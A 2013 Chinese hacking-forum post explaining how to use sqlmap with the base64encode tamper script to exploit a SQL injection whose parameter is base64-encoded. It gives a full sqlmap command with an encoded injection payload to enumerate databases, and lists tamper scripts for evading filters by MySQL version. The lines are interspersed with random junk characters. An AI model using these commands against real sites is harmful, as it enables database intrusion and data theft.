找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2470|回复: 0
打印 上一主题 下一主题

SQlMap Tamper注入Base64编码注入点

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 15:50:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?& t5 A- d9 C* N" Z. U9 o

" C; K; I2 X6 z* P2 ~% l0 Csqlmap的tamper里有个base64encode.py! M( ^1 v' |; u, z& I$ {2 Q: d  a

+ N# O: f  ~/ o  [! U2 y5 p使用如下
3 {5 ]$ M/ y$ t- i7 [* V- X( H/ T, e( a( M$ E5 a" w
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs  z( U+ Y! R3 y4 z$ J% s
8 ?' i" ?; r( o) Q! J6 j$ v! }

- v2 _! o2 A4 c) ~8 E! [sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”1 ?! L- `* @: D2 ?2 K/ p, K

8 R3 D4 e% {7 z1 }" f  X其中常用到的bypass脚本绕过SQLMAP主要两个脚本:; E& H6 _' ^/ b/ ?, y2 W* @
3 a* B: u* Y) M3 i# c9 Y; L/ t
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
/ t4 a$ b: T' O' P$ ]+ `# Qspace2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
7 ^6 w& w  q$ P6 ?首先确定目标数据库版本,然后选择相应的脚本。3 e2 r+ ?/ N% b' N2 ?0 u! M, Y
-v 3 --batch --tamper "space2hash.py"
+ }- r; T! L  r" O( c# j. J( U5 |# E
还有其他一些插件:
& q' @0 S' B+ M" A1 n% j; d* ]( c! fencodes编码 ——charencode.py
* J) B: ]3 b! C  t$ A; Gbase64编码 —— base64encode.py4 k1 d5 Q8 Q5 I  x6 }; j4 m5 i$ ]
替换空格和关键字 —— halfversionedmorekeywords.py
6 i" l' @2 e, r) Z9 |; B1 s, {
1 L" V! Y# k! s0 t0 B1 z: z' I2 a7 j
4 `. L2 n" C1 p, ~2 a( L
& e$ B, [1 i% \0 v/ b( S9 R
( E2 }; |1 _) |5 }5 d2 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表